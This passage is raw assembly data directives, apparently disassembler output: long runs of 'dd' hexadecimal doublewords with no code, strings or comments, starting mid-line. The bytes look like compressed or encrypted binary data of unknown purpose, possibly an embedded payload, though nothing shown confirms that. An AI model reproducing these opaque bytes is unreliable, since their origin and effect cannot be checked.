0A91F80CBh, 7D800BAFh dd 6436483Fh, 41B60747h, 509670EBh, 0A6BF3077h, 80DC903Fh dd 0BC2A6832h, 0DA4BBEh, 37D3F6B4h, 65E9C3A4h, 4CF98700h dd 5EF83A94h, 0EC1100F4h, 139A66FCh, 0C0006C21h, 6E3D8281h dd 0CBC9E8h, 4669D576h, 17CDF0CEh, 0A066BF00h, 0F145FC73h dd 860C00D7h, 4C3BF74Eh, 0D0007E9h, 282E37FEh, 1DDD4619h dd 80CFF451h, 43C920EDh, 0C409BABEh, 126BA7h, 0BD8D5E0Bh dd 0E111CF96h, 4EAA3CA0h, 0B900BEFBh, 58A0E811h, 0E8BCC4F1h dd 0A97A0022h, 5485E320h, 31030771h, 40253E01h, 900EA8FAh dd 0C17200AEh, 0F46C9D39h, 0F70038DBh, 3B314EF3h, 97BD0Ch dd 76E1E8E7h, 0A02DC2E0h, 0DE9AA502h, 0C0B6DBC0h, 18D6292Dh dd 85013DDh, 1C00755Fh, 0D2420410h, 7A64024h, 832F3448h dd 5630402Ch, 9100BF2Bh, 0EDD084DDh, 0DE58A382h, 53C500F9h dd 49209A62h, 8A8D900h, 55EF83A7h, 528E0006h, 0F02BE3CFh dd 0F91DA315h, 1B1D6FC4h, 46C99900h, 4CEF98F4h, 74013C08h dd 0C8C1AA11h, 0CBF3F441h, 7D16CCE6h, 0AB002F99h, 0C59EF13Ch dd 2128488Fh, 82326A05h, 0CEC41D0Fh, 1620070Eh, 6907EDFh dd 53614500h, 2A954FC7h, 0BBFB002Dh, 46229AC3h, 0AD008431h dd 687709C5h, 6BDCBA6h, 0DD2657Dh, 0C700C07Ch, 0A9E61F9Dh dd 0E46BD6h, 2BE557FFh, 0E9CECF17h, 0CA9D0B00h, 70D0A3D2h dd 7FD42803h, 0FBBF0098h, 6AC391F7h, 906ECA6Fh, 47BD80A1h dd 5718E1h, 327D9705h, 4C4F5341h, 0C8A9C400h, 686D87B4h dd 0E49A0057h, 863EEFACh, 2F385514h, 6E9300D7h, 8D2E68A7h dd 0ED760095h, 0B5ADF351h, 0E985775h, 1C691A38h, 3318AC38h dd 0A9C810h, 0D085AAE9h, 5D63007h, 0FE511B0Eh, 0E7B0B83Fh dd 0A7F7009Fh, 0E9CA665Dh, 6F186814h, 0B4B9E472h, 90ACA340h dd 0ABEDD4h, 0B5E2A767h, 6BD5E901h, 69794FB8h, 0A0E6E300h dd 0FF36AE83h, 40263F3Ch, 0DAF11C00h, 85C4DCBBh, 0ABDA1250h dd 3F5E6900h, 0E1DB6D6Ch, 64AD0122h, 9CB2913Ch, 5634701Ch dd 1D18A200h, 0FBF64FC2h, 67BA00B3h, 61CE58CDh, 5B009E2Eh dd 9189C76Eh, 7979A1C8h, 62DB0086h, 49405E9Ch, 0E171F36Fh dd 0A810EE60h, 6789E2h, 0D1C98326h, 0F4ED8D96h, 540B8800h dd 3A2F95Ah, 0E26524D0h, 83940310h, 9283C698h, 6E97A4D0h dd 900091F2h, 8A1AAB30h, 382DE8h, 0C0F22C71h, 0A7987EB7h dd 3A5CB03h, 1EEB13Ch, 5BDE848h, 0D4D8D2B9h, 0E6149854h dd 0E09EBBh, 5F328E80h, 8425A6h, 122CD48h, 0B6FEA7EEh dd 0F79E9103h, 93850BE5h, 1A0C88FBh, 38E2EFh, 35EBA9D2h dd 1E62310Ah, 13110400h, 5E23BF0Ch, 3719002Ch, 87E99B3h dd 5A038095h, 67E511EEh, 0C874B38Bh, 5E25C1h, 0BB23FACAh dd 30EF7607h, 56A25503h, 989181E1h, 264196h, 0F3069AADh dd 0DA3BB982h, 89AE5E03h, 9EAC9BB1h, 56880008h, 0A2247AF7h dd 6301BE07h, 4EEF2906h, 0D0CC0D5Ch, 1FD204B6h, 0C07A3826h dd 0CFE6220h, 7F4FF001h, 0D231870h, 0D60470h, 0D4895EF3h dd 0AFFF8E95h, 5BA3A00h, 0AED999A1h, 0B0EB2EAAh, 0BFB600A8h dd 161B415Ch, 3A894558h, 6920006Ah, 8663D91Dh, 48124875h dd 0B9C7CF1Dh, 0C345BE00h, 20717348h, 81CCA12h, 1F571C01h dd 0D440E028h, 43A184Fh dd 3D72420Fh, 0D8F3C0DEh, 0A00CDCAh, 11D523E1h, 1CE9946h dd 0F7945A98h, 0E96A2AEAh, 0CC50DDBCh, 790F4A1Ah, 60C00F6Ch dd 75FED04Bh, 1B350061h, 510A7F33h, 0B201D89Fh, 0F30B7153h dd 0A8D3ED80h, 0EF8CF8h, 0D93FE619h, 5A799C49h, 4E4B4Ch dd 0F6531875h, 1240C4Ah, 0A73F8011h, 20E7B0C5h, 0B801A1A0h dd 0C49CC11Ah, 79F81954h, 9A40003Ah, 0B37C03ABh, 6407D38Ch dd 69FB6EECh, 36BFB2D0h, 0E4CB00E5h, 0F72B6324h, 881EC0EDh dd 0B34035D3h, 0E0948390h, 41D4CFDh, 4FED4200h, 2A9B6B19h dd 0A55E7601h, 413B7926h, 178DE4h, 105930B6h, 6ADDCAAh dd 0A75DE102h, 63FDCE27h, 1D0480ACh, 0F85A07E3h, 0B76E0BFBh dd 0A78290D0h, 890047DDh, 45E395C3h, 0CCCF74h, 6133B949h dd 1F4AA442h, 3A6F3D00h, 76E4472Eh, 3B7E7FC9h, 0A91F8488h dd 4CDD80CEh, 7BB3685Dh, 0BF0B6600h, 27AC2BF0h, 1C740358h dd 6E4E1F19h, 0D4AE5C80h, 5B00EEFEh, 38DCA6FBh, 261B5h dd 394CC67Bh, 4B1382FCh, 0A6F9750Bh, 8BDC03A4h, 6D2A88A1h dd 0D5AC0F08h, 0F7404121h, 37E1AAD3h, 0D7ADD0Eh, 0FD88A0B3h dd 3BB193Dh, 1D965AE5h, 74905B95h, 9B035FC2h, 0B82CAF50h dd 9F40F775h, 0E609128Bh, 0C708C044h, 83A8D341h, 4CD97300h dd 0F6E5BF42h, 587B33h, 274F2CC2h, 6FFE0AC7h, 16346B0Fh dd 563BA135h, 6AD0FA28h, 0B6F40084h, 0E40E3AC4h, 6871CCDDh dd 71D8800h, 708F25BAh, 39F4ED92h, 45A00DFh, 0B9DBFB05h dd 0C9E698F6h, 9B1FD700h, 0AA667865h, 0C24500A6h, 0D34C21F0h dd 62003E84h, 30AF6ED8h, 6F88D5h, 5B25875Dh, 0A0C49DB5h dd 18D6F130h, 7D36F583h, 1C10323h, 0F2CDCF7h, 5D1BCF88h dd 455CE700h, 0B8067B46h, 5BE127DAh, 8C20B4DEh, 0C7731316h dd 0AD4C4900h, 0E08659h, 0D7074A2Bh, 76B03B4Dh, 409C400h dd 0E461DC33h, 23832E2Dh, 6E9D005Fh, 96508D7Bh, 1A160D00h dd 0BC873DD5h, 12A70068h, 8352FC20h, 0B900D3AAh, 0BB4625Eh dd 0B6652Ah, 80E3093h, 8DEC0F1Bh, 89020F0h, 58A81F4Ah dd 0E2F717h, 3C1E2A19h, 0C10076DBh, 0C79D4218h, 8F94F2h dd 32DA4D06h, 34818050h, 191E03E2h, 8E89B30Eh, 0AD08001Bh dd 7C09A8Bh, 55E78814h, 0F50ED090h, 0EA0C44B8h, 89C9B70h dd 0F848B7h, 0F1AB6800h, 9D97379Ah, 0B00046B8h, 9E64CAC0h dd 24082F3Fh, 4085A56h, 20D3AD2Eh, 0F652AA15h, 0B330046h dd 0FBB47621h, 22012C6Eh, 6CBDF623h, 2FCF71Ch, 2B18004Eh dd 0F320A42Dh, 4CE03B57h, 69D62500h, 0DB32683h, 0FC70F653h dd 0EA8C0035h, 515D9377h, 4501386Bh, 0FF08EB13h, 0E2C873D6h dd 0FC170043h, 0C2D25BE9h, 0BA036DDCh, 0AA139CABh, 2C86FCDBh dd 0F213A78h, 0EBA21187h, 103530CFh, 3B0734DEh, 2CD6289h dd 0F0B36040h, 0F8583915h, 9B09AC80h, 5167A43Ah, 3228E00h dd 1CEFDF4h, 137DEBh, 5A76387Ch, 0DCC1DA69h, 0EC78CB00h dd 6716B459h, 4E9029h, 0CA883DADh, 0B619824Fh, 0C3605D03h dd 0B09D9A38h, 0F2F059EAh, 112100E8h, 0C0339B55h, 29009030h dd 95E722EBh, 0C1B1E8Ch, 1CD0D61Dh, 4FF03610h, 9D80B902h dd 405072DAh, 0A8AA6Ch, 0CD38437Eh, 0D9983DB3h, 3418D70Fh dd 656E009Ah, 1F45FD12h, 42BB08A4h, 0B49ED46Fh, 0AA2088h dd 0AEA135C0h, 5B06EC7Eh, 33B02269h, 3E4270E0h, 138058D4h dd 0A235CE50h, 743170EEh, 0AAF6A0BDh, 0F79D3880h, 0ADDB6996h dd 74E48D09h, 67DEC1h, 5CACF1C2h, 71005B3Ah, 7C37BDBh dd 486A03C5h, 37E8130h, 76F9F5CBh, 801EE179h, 390051DAh dd 0EE353738h, 0B4ED3845h, 0A09BC80h, 67DA3A36h, 270C500Fh dd 0C0120049h, 4E3BF1h, 16D633E0h, 4192382Ah, 3197AF12h dd 0A5D91407h, 0FD1602Ch, 0D32A2556h, 78601AE0h, 6E1E2867h dd 0B340D78Bh, 0B70C18E2h, 2FF630D2h, 77646629h, 8903E780h dd 44A1088Eh, 7B847219h, 33A88BBh, 4013CA88h, 67457E07h dd 861205C1h, 8952A710h, 80F212AAh, 0CED0BFCDh, 0D18E2688h dd 0C72C44h, 20236A63h, 9CE8696Bh, 184CC200h, 5CC681CDh dd 7E897CA6h, 0A731005Dh, 0B8B587A8h, 2AEE4184h, 4B6FA003h dd 0B3C2992Fh, 64C88008h, 83A126F6h, 0B7AB0068h, 0C1B12BE9h dd 6523ED00h, 96155014h, 7658008Ah, 9F555FA5h, 0E13E42AAh dd 0FA9016F8h, 0C610607h, 0C0303E47h, 3C9A1B9h, 428BB305h dd 60F0687Dh, 0D000094Ah, 1D48E84Eh, 7F70EBEh, 1545CFE1h dd 891408Eh, 3C05A15Ah, 79135BE7h, 0D6C003C4h, 0B12E7Fh dd 0E69938BEh, 91A8292Dh, 0FC1C21EFh, 0A500E905h, 0A4CCE034h dd 3071755h, 0DD0CACFDh, 0FCE99849h, 0F54FE061h, 6E02C67Bh dd 0D024C297h, 0D1CC61FDh, 21216D8h, 0C5A83FB2h, 948013FAh dd 7C71A31Fh, 72FBD700h, 57ECBEC4h, 0D16E00B5h, 0E6F69AEh dd 7E003CC5h, 0F74FE80Ch, 0F647EB5Bh, 5054006Bh, 9630A2CAh dd 3C00E42Eh, 609001D7h, 0F7CEB0Ch, 26E9ADD8h, 0A01D1901h dd 0D18424FFh, 36CCC354h, 57F68F00h, 1E4ABBA3h, 2C58B894h dd 1896D080h, 0FD9348FEh, 0EF463300h, 9FF9E77h, 0ADB900C5h dd 0E598DBE7h, 0C64D754Ah, 7D1B005Ch, 11E015B0h, 6AC803FCh dd 1D533B1Ah, 66CF0CA8h, 0D80F7A00h, 0F548F159h, 22DA036Eh dd 0CC1E8842h, 545236D8h, 3FDD8650h, 700063B0h, 0F88F4516h dd 8DA8E8h, 873CF2C2h, 0E6FBCED6h, 9D6A2F1Fh, 28146BC2h dd 0BC54E0CAh, 3EC70555h, 4ED18Bh, 66DD86CAh, 7D0005DAh dd 0E75C3526h, 244BD248h, 8FB0D9h, 0EA19BB1h, 7A00F28Ah dd 8E507533h, 62DA6Ch, 13856883h, 0EED16721h, 6E48EB00h dd 2B92D8C0h, 7B2F4CB2h, 5E80EA3Fh, 0F0E94AB9h, 9D13554Bh dd 880035F1h, 50AA54Fh, 0EFBC0216h, 2B67F04h, 0FEAC42E0h dd 0D478A91Fh, 6F8C4083h, 0DA680015h, 5D860D85h, 65743228h dd 72314305h, 5DC2624Eh, 0BFB448CEh, 7C520FDEh, 4BA7D2A8h dd 2F9A00C8h, 0FE3BA1B3h, 0DE5C00F2h, 0B05F77D0h, 0D4D83A42h dd 0F8E89530h, 0D5B09FCEh, 3996C000h, 0A0BE3266h, 7B6100CFh dd 0A4245051h, 209057EEh, 0E06D9810h, 43B89D1Eh, 0D989947Ah dd 1B1C7CFh, 2488240Fh, 1300A764h, 82A66102h, 5EA9F4h dd 0C27FB109h, 0B219CE3Bh, 0C868BD00h, 2466336Fh, 8CAF0067h dd 0BA80A8D7h, 436094C7h, 0C50A2B28h, 69FD005Dh, 71BCAA01h dd 87132155h, 0A5005A36h, 748509A4h, 19F4DEh, 6F34CA98h dd 4F439BE9h, 89833Bh, 0CCD250F5h, 0E1CD6BBh, 84573B7Dh dd 26DA63E2h, 41B5AFC0h, 87D34600h, 623F45D5h, 709E002Ch dd 305A51E7h, 54FCAB73h, 78960701h, 568A3742h, 74AFD0h dd 4A3ADB2Dh, 13A3FF79h, 0F278E70Eh, 0EE544ABCh, 5C45C500h dd 9A7F38h, 9B642123h, 0C2772B8Ch, 73319400h, 8B498536h dd 0F29900DFh, 4774BE8Ah, 930792FAh, 72AD9DC0h, 7FAEB840h dd 2EC3B0D3h, 0EA35332h, 0CDA0227Ch, 645E3589h, 9C4CB128h dd 4A044500h, 0B7D15D30h, 7E1F0E1Bh, 6420C942h, 0EB4FBD2Ah dd 0F3D90500h, 6A6C3168h, 0A2460074h, 892F294h, 0AB0C11F4h dd 262891CCh, 0D5100DCh, 99F21DE5h, 9200C913h, 9C68A2BFh dd 0A69E19h, 7B43F651h, 484DE505h, 0EDEA70EFh, 120BC401h dd 0C62D681Bh, 21B3DCh, 37299B93h, 88177A6Dh, 6700ADE2h dd 156E1273h, 0B84C5E69h, 0A28300B6h, 750C7711h, 35009C3Ch dd 0DDAE9F76h, 3BCB58Dh dd 9EABB967h, 7EAF9DCDh, 8AD77880h, 0B5007EEAh, 0CE073481h dd 11C13ACh, 0FDE2AA35h, 0F0B236A9h, 9A00E47Ch, 0BAC19D1Ah dd 713FFE3h, 0BCC2445Bh, 9F7EAF14h, 4067DF7Ah, 0F1CCBAD1h dd 0B2004736h, 7ED7913Ch, 3D52F0h, 8BE88138h, 4C587C98h dd 0D30088EAh, 0BFBD7B92h, 700751AAh, 60509882h, 0FA7A1957h dd 840736F8h, 6739E2A7h, 78A0A850h, 9CC61EA2h, 0DE01BA5Dh dd 3DDA4A45h, 5C0DEC46h, 8559F503h, 89E6B2A0h, 0BC409D6Fh dd 1447AF17h, 0D4F2D6C4h, 1B68A300h, 94A438FEh, 0CE008BFCh dd 0B1756243h, 1F804556h, 7D93BEE8h, 5ABDC783h, 18982D67h dd 240594A3h, 1612FB1Bh, 8FDCC5C0h, 85560066h, 9040E2A1h dd 0A3E72D2h, 65A88097h, 5387BF83h, 0FC0B0029h, 0A369B8EFh dd 0CF0021B4h, 943C79FBh, 9819ABB7h, 0ECCE000Eh, 9F1A1B4Dh dd 0E01FE916h, 0F4E8EADBh, 0C8032500h, 0C17019B9h, 2AC00A5h dd 6111D390h, 4704BEC2h, 0AD8BB873h, 34E484C0h, 12E86Ch dd 4B0B5A45h, 22669942h, 0E9057EFCh, 0B57B0485h, 26C8F401h dd 0F4109A94h, 1600B9F8h, 0E69C619Fh, 3E732EEAh, 83F3513h dd 83305500h, 0CC3DDEC5h, 0A479930Eh, 7A7EC1B8h, 0CC47F9C0h dd 8AC975B0h, 0F85C0A09h, 0C49F29h, 365289EFh, 0EE0045E1h dd 684717C6h, 15A1D323h, 0D0B95533h, 32076D01h, 0C830BB91h dd 3EAEF9Ah, 87009890h, 0D45B3475h, 70220B3h, 0A1276BC3h dd 0C9E07095h, 9E0910A2h, 80A0B69Bh, 0EA11748Dh, 0B032EAC2h dd 52B8608Ch, 386D8B17h, 8210C407h, 1A209D49h, 7F92C58Eh dd 43373F18h, 0DC577F00h, 0F5B5D856h, 0A860E100h, 18957D0Bh dd 75C20059h, 0CE36801Ah, 357B387Ch, 807B3A3Dh, 5C54ED0Eh dd 66A348Dh, 6C0F3988h, 43C4844h, 80433A61h, 0CF67069Eh dd 0E3E1092h, 42014BF7h, 0BAE04F40h, 8800DB16h, 0E7B5FE21h dd 1F98A1C7h, 80478625h, 53D9ABC8h, 0A61E203Bh, 0A8685BA9h dd 587524h, 310D2900h, 733B6Ah, 90A02140h, 0A2964333h dd 3D0F99F8h, 2E7EA170h, 116C839Ch, 0D265C88Ah, 78160008h dd 0D51EA9BDh, 0B8303395h, 64D6DE07h, 81A6240Bh, 46060AC0h dd 406B9FDCh, 0F86F325Ch, 3F792705h, 72A07C50h, 293DFF00h dd 4A9F662h, 22D700D2h, 55D5E2F1h, 0A6005A8Eh, 3A1B63BAh dd 4C6DA067h, 0C51895E6h, 115C4089h, 27B10A1Eh, 0EF987247h dd 0AB71C720h, 488300E3h, 387D013Eh, 0C100ACE1h, 0F11A477Fh dd 1C46BA70h, 7AC71CE0h, 0B368F500h, 380A8C7Ch, 89A79907h dd 3A010FDh, 1054EC9h, 0E8948685h, 0E0A507CBh, 0FE4CF24Ah dd 0C0350063h, 9A4EF343h, 0BC3A26E9h, 26D80338h, 0A7F1A8C8h dd 189420CBh, 2E103B00h, 5E4D6F6h, 12D7740Eh, 1F963C1h dd 0ABDE14F8h, 0AF1C877h, 0F5244301h, 7BA0ACDFh, 581146DCh dd 0EE005486h, 4A8B6EBDh, 0FCB2D270h, 6C476800h, 7B4F6A28h dd 0A3FC01F9h, 0E0CDADFDh, 20D9D4C5h, 0B416A800h, 26C73046h dd 0D27E0933h, 0C400EF70h, 7D3DC97Bh, 0B87C9F07h, 0F6A0FD92h dd 266C2A0Fh, 0F701BC8h, 0A88006B2h, 0A79C4718h, 34FE7A00h dd 0F2427614h, 0FA60006Ch, 3D9ED245h, 0DD0EC0F7h, 4091B8CBh dd 57054115h, 32F60ED0h, 54411E1Ah, 32CBAB74h, 4AA717C4h dd 1DEE1900h, 0B830CAB0h, 4ED90E47h, 0F000F7FCh, 0A1FFBB76h dd 626A7900h, 0D9459F4Ch, 25F83BB3h, 55E30A00h, 0EF21CBF3h dd 3B504B5Ch, 26240F67h, 0AAC0C0DBh, 764EBA9h, 60F5CA0Dh dd 1B5880F7h, 1A00540Eh, 973C344Fh, 0C3C46228h, 2FCA8288h dd 414967E7h, 0C46717A2h, 6B0202DBh, 0AE0BCDF7h, 1098C038h dd 79870070h, 5025BAEAh, 0A67BFBD6h, 0AF5F3D00h, 0C7364E92h dd 0EFD10E5Bh, 2E0B242h, 0DE971195h, 1BF38801h, 6DA6160Dh dd 602BEFE8h, 0B56C80DFh, 0CD00C154h, 0F393431Ah, 0A0896472h dd 0EED1EDFCh, 927D09DBh, 9CA22DF5h, 5C40A9D0h, 0BC00E1F1h dd 9917BFB7h, 6AA8F4h, 0C0CBB19Dh, 28ADC3FFh, 653DCA05h dd 9EC08E32h, 5B0D767h, 0C11172CFh, 5A60C20Dh, 20B63CC1h dd 0DF031558h, 9EAF778Eh, 0CB59C080h, 3F4E0041h, 0EF7A68FDh dd 0C1013DB2h, 2B15D7F0h, 0BDEC468Bh, 514C0A2Eh, 87A4FE66h dd 0C11CAF34h, 0ECFB9E58h, 29000F28h, 6C378A67h, 0E2B3A8h dd 9E432074h, 0D44958F4h, 36B8D4EDh, 1D00C89Ah, 97CB4416h dd 98A248h, 8E2EC9CAh, 41598051h, 4F353A00h, 0ABFC712Fh dd 5E57002Dh, 0A05F031Dh, 8309598Eh, 8882E74Bh, 0A51FBF50h dd 0B3C33AC4h, 6FEEC080h, 38F10218h, 0E01CAC6Bh, 0FBC0C443h dd 40E42E94h, 90129200h, 66D39ED4h, 0CF697133h, 5122B010h dd 2C40D995h, 0CD00240Dh, 879FC9AAh, 26545CEh, 27C01ACFh dd 28E0D278h, 0DC00B7C6h, 2A025BB6h, 0E0E36F51h, 0D4F707A5h dd 303DCF15h, 284DEDEAh, 0FB0ABA00h, 1847D01Bh, 626F0035h dd 84FD0E17h, 0A20206ACh, 0CA0203DEh, 0F0744191h, 1F30E8h dd 0C648744Dh, 0FC260565h, 23B19C00h, 0D53D5DC5h, 8281A09Eh dd 0B4B2E6h, 0B1FAFCB6h, 0EDE95114h, 226C2C01h, 0D7103201h dd 0A3284283h, 0C00EC53Dh, 0C66A4FBEh, 10F58Fh, 6C3B5F6Fh dd 0D3CA4019h, 266DF00Eh, 1BDE4053h, 973123h, 0CE30FA1Ah dd 41EC2119h, 20385600h, 0F8B46BBh, 0EDC600D9h, 0C7F8289Ah dd 0A400A650h, 0F2E1CABAh, 12E06A04h, 78E8AA2h, 70F61B6Ch dd 96BE7891h, 1D1626F0h, 0B40156E9h, 22B289EBh, 0FADAA60h dd 0DFD2BA8Bh, 0FE0276A0h, 0F8099BB3h, 80EE86AFh, 428B0C42h dd 17B10014h, 0BA3D31A0h, 36E295F3h, 14EDDE24h, 8F5F3C01h dd 3C34D7C8h, 9BEE00ABh, 91A1D26Ch, 39129C52h, 6901BBA8h dd 405F2EFh, 0B3E4D0h, 5D2EBCE9h, 2210200Eh, 60F73F00h dd 2503A273h, 0EB8F0143h, 0B11FE70Dh, 0C081C6F9h, 228A0FF2h dd 612301F4h, 0CDE2C636h, 525047Fh, 0A245C16Ch, 0DF386011h dd 7CB807F2h, 24B2E400h, 0FFD1D4EEh, 889D0FD7h, 5C7A28h dd 611F671Bh, 8907E954h, 0B30AAA6Eh, 75DC4E51h, 2632F5DCh dd 9744C1E3h, 0B44D070Eh, 0B682D114h, 0F07AE5D2h, 913E6C02h dd 673F0074h, 2B8BC9BCh, 0F88C00A8h, 0B1CF5EFFh, 1300232Dh dd 6D337CDDh, 4A358148h, 0E5C4009Eh, 443B63B2h, 0B3BFD517h dd 525C4600h, 0E89979h, 0D607C3A7h, 4D64D84Ah, 36C47600h dd 4B9CDA43h, 0F2203CDDh, 0E0169D80h, 0EC708B99h, 318AB400h dd 0B723CCFh, 47670092h, 0DEC5686Ah, 0D20CB9DAh, 11655A0Dh dd 22D37881h, 0B1607856h, 0B7367D20h, 0EF508848h, 0EB2C3CE8h dd 490C4BE1h, 1E91803h, 22244057h, 0F09D2680h, 3F002ABEh dd 8D67C60Ch, 0FD76D4Bh, 96257399h, 0C0BF1E9Eh, 22587FEDh dd 0B492E3FCh, 83B86900h, 5E81D028h, 52D0F91Fh, 0AEFF1524h dd 0CB0C94ECh, 7330C5F3h, 3128C860h, 1AC23Bh, 0BF90662Ah dd 14ACFD67h, 0D00CC902h, 0F5E02FDAh, 0BDC59C0h, 80A7693Dh dd 0F7E6E8EEh, 3655759h, 891AF5Ch, 80BF7353h, 0BA966AFCh dd 97D74D07h, 91D3EE98h, 0D468C04Eh, 50230065h, 0F5768F42h dd 3D7BE0AFh, 8A4EA600h, 0C7AA22AEh, 957D03E7h, 65C1CBF8h dd 5D631DEAh, 8BDE2D88h, 0BAE83076h, 0DC5738h, 2A6BD087h dd 303B64C9h, 8EE8C7BCh, 57002354h, 0E4A8654Ah, 0E842B522h dd 0D084AB9Dh, 2C9C2DECh, 0BECC2892h, 8FAA4B00h, 4A44EFE1h dd 97E01000h, 8373A9D7h, 0EE313057h, 0FC29BE29h, 77D3E00h dd 6F62F521h, 9CB9E823h dd 518B0310h, 0D49896FCh, 6BE69C1Eh, 0A172170Ch, 26D5088h dd 51C6F9E2h, 10A23AECh, 0D008B249h, 834AC69Fh, 60403C52h dd 0D17D4BFCh, 9EC33C70h, 0CA88FC48h, 84A8CBDCh, 0C50485E9h dd 0ECA9D5FAh, 38A64D83h, 0F8104970h, 3E067C91h, 69A77D7Ah dd 83781818h, 25EDF9D5h, 105C7037h, 43CFC3C0h, 1A8D3E76h dd 0FE00D358h, 0BABC5FDCh, 4F00E235h, 324A3969h, 0B6A51h dd 0ADE69CB1h, 4E56A4CEh, 9287F500h, 8B6FAC57h, 0ABE0C09Dh dd 7D1F9C27h, 3F97F81Eh, 0C806817Eh, 767A3A56h, 54CA2D0h dd 1A0F33A4h, 7594C0F0h, 0E900D6A7h, 8844E4CBh, 1CCE97h dd 0E74A70DAh, 722174FFh, 0FCF63D1Dh, 957004ABh, 448D072h dd 4327CAF1h, 87F62DCh, 712CE210h, 0CF3CC19Fh, 2F60B0Ch dd 141C84A3h, 685AC903h, 491D62D1h, 0FC188020h, 0CF758D20h dd 68A20CCDh, 2C986E11h, 5850A1D9h, 68101841h, 0ADEA4C41h dd 0F6150986h, 0A1281927h, 8B6D1C6Fh, 0B6311089h, 2850B2F2h dd 23426010h, 40888F7h, 0E2EA27C1h, 448CF094h, 0CCC9CC72h dd 1CA61009h, 94F2A306h, 28089573h, 510C15EBh, 0A6F214CBh dd 2380154Ch, 10340AF4h, 6BA85060h, 45830021h, 6DB54CFEh dd 0C501D7D1h, 393FBEA6h, 0CED0129Ch, 60CE8B7h, 4D55EA14h dd 108209CFh, 187C041Dh, 10E80B1Ch, 0CA04D3Dh, 600B95Eh dd 0FA2AC1AFh, 0A54B66Ch, 0E2F3D7FDh, 71DA0020h, 3B9434Bh dd 193C7630h, 665E9016h, 51EE38BFh, 359BEB18h, 30518E20h dd 0C48DAD5h, 9F727686h, 0A9250609h, 181813Eh, 388010D5h dd 800FA81Bh, 10C00CC2h, 7B456CB1h, 0AAEC0699h, 69581D36h dd 0E776870Ch, 984875h, 0B709D5Bh, 0B1CA6209h, 0BF0CC31Dh dd 183D0F20h, 0B7209D3Ch, 3E3FED36h, 30239024h, 0CE8CAC9Eh dd 3CCD0896h, 0CC03AEC2h, 38F3EB99h, 0B548C063h, 0B6083A13h dd 0AC94B900h, 3FA488EFh, 3E7E8003h, 0A01B3CB3h, 14A0Ah dd 1CEE7F68h, 690604A1h, 8C28613Ch, 0D90884F1h, 0CC770E9Ch dd 8C743E19h, 0EFA4A50Ch, 1D00F8E9h, 984D2D04h, 0C0F27127h dd 8D790189h, 3901F01Bh, 3B0C1F16h, 32F593B7h, 2A852888h dd 694630Fh, 2811306Eh, 1E8849BFh, 37AE601Ch, 0FE956038h dd 2D18BA2Ah, 1030341Eh, 0E1308339h, 15B508F1h, 0D0BF4982h dd 146EAA05h, 191CC03Fh, 0DA488CFBh, 10B52804h, 0B01B3628h dd 0B628D18h, 50CFA6A1h, 0A0C0B099h, 0C03AD8ACh, 34AE7030h dd 0CF00E50Bh, 0A11A50F1h, 28763C33h, 85940FE0h, 0B41031A8h dd 0EF068EDAh, 8CD0C211h, 0F638494Bh, 731C9450h, 0FCE014B5h dd 0E6A2B890h, 5FF433h, 984974AEh, 0BF3EABB2h, 506A0015h dd 4D515C31h, 0BE130127h, 74B43DB8h, 4220201Fh, 78094C40h dd 0EEA4A05Eh, 7F270037h, 0A56CFE4h, 0B4003243h, 8BBF349Ch dd 192B1D6Ah, 0C824521Ch, 10E9EFC7h, 0C391D403h, 0E382B104h dd 5091E91Bh, 0CB014ACEh, 1586300Fh, 271C8C0h, 0C20D5276h dd 1736B9D8h, 0E9D8B8AEh, 0CF747E92h, 0E3770512h, 70D8D050h dd 4EB8F91Ch, 8C93F70Ah, 80D28250h, 7BEE6DCFh, 0C814883h dd 812C011Ah, 2A0D1C82h, 22891841h, 8B558430h, 884114D4h dd 4D251136h, 1CC4C42h, 430FFB76h, 0F12A1060h, 503E493h dd 80EAFCD5h, 7AEE086h, 0FAB802F1h, 0DCDBFEBh, 87283841h dd 665A1D9h, 0C33395A2h, 0ACB14173h, 69C62998h, 82E03DA1h dd 0CFB91CA0h, 60152890h, 7580C01h, 0F245C235h, 908F9082h dd 480A2E48h, 7F00B44Eh, 44AED2A5h, 3D31B20Dh, 0CFF8005h dd 3AB020B3h, 1AC09CE0h, 13616012h, 81B3B800h, 64F8CF9Bh dd 405478BEh, 2B8C131Bh, 7190608Fh, 328DB8BCh, 68346E28h dd 0B0C1492Ah, 88C456F9h, 11CE350Ah, 6880E4EFh, 2CA8914Ch dd 3DB0030Ah, 0C2AE7354h, 0EDB6B8B8h, 1F78EB12h, 0EE773805h dd 67E18C43h, 1030C202h, 98F8EBFCh, 1DE8B718h, 691A581h dd 1FF9EFB5h, 0AE3AB90Dh, 3D69E2Ch, 103B360Ch, 65CC010Ah dd 28777B12h, 0C899AA71h, 8A0C667Ch, 108935BFh, 0D1600E7h dd 2437B1E1h, 0F250CCA1h, 98A8148Ch, 6F3F7717h, 0B84A007Dh dd 0C7E9C0BEh, 77F4B136h, 24F837C1h, 48FF50C4h, 81091C2Eh dd 0F400B36Fh, 0C3D5AE11h, 5CBB71Fh, 82EC9B80h, 0C188F0Dh dd 0B16D920Ch, 0D4444229h, 997720CEh, 0AC114142h, 28B628AAh dd 29725A32h, 0C04E1045h, 3E080A89h, 88B97D44h, 763F4AD2h dd 9B5D1EE4h, 6208EEC0h, 75AE8BDh, 0A2DBD446h, 0B5E7702Ch dd 0B0001D2Eh, 441159F0h, 7FBFF8Ch, 0F9FEA348h, 0EA058047h dd 22006706h, 3DA8EBB2h, 4B98017h, 2E3F1356h, 236380C6h dd 27F89F20h, 8C815D00h, 60D196F5h, 57090047h, 0B5AFE7A7h dd 0FF00F2C9h, 941CCDB3h, 0E6857Dh, 0D14724B6h, 0FC66C291h dd 0CF7BBD1Eh, 0C9C0C8DCh, 471F8EC6h, 64B30026h, 957821DDh dd 431C6549h, 0F60051E4h, 271EEBC0h, 0BF470018h, 0A33E8FFEh dd 50F4BE30h, 46551B01h, 2BE8CD6Ah, 0DE08C0h, 0A105DC6Eh dd 9E818B14h, 0CC46E300h, 8184D09h, 19DA13D4h, 0A8B84031h dd 3A8127C4h, 222A9707h, 40F0C9C2h, 4CCE178h, 3371932Eh dd 4A1CC0FAh, 301DC50h, 0FF6558F4h, 0B4E06187h, 297C003Dh dd 0BD0DAAEh, 20057DEh, 0C39DB1D4h, 5CEB9F39h, 30012047h dd 0DAE9DBFCh, 9F8771C1h, 0CE407480h, 3260D591h, 4CB13E85h dd 65E24487h, 154F50E0h, 0F070523h, 99ADEB62h, 0FDC9B800h dd 0B67C00A9h, 0DF54C26Ch, 0AB0169C7h, 426AAD17h, 0A1D4B460h dd 0EDB00002h, 905BCFA2h, 0BB00940Dh, 2EEC3738h, 0EC64B151h 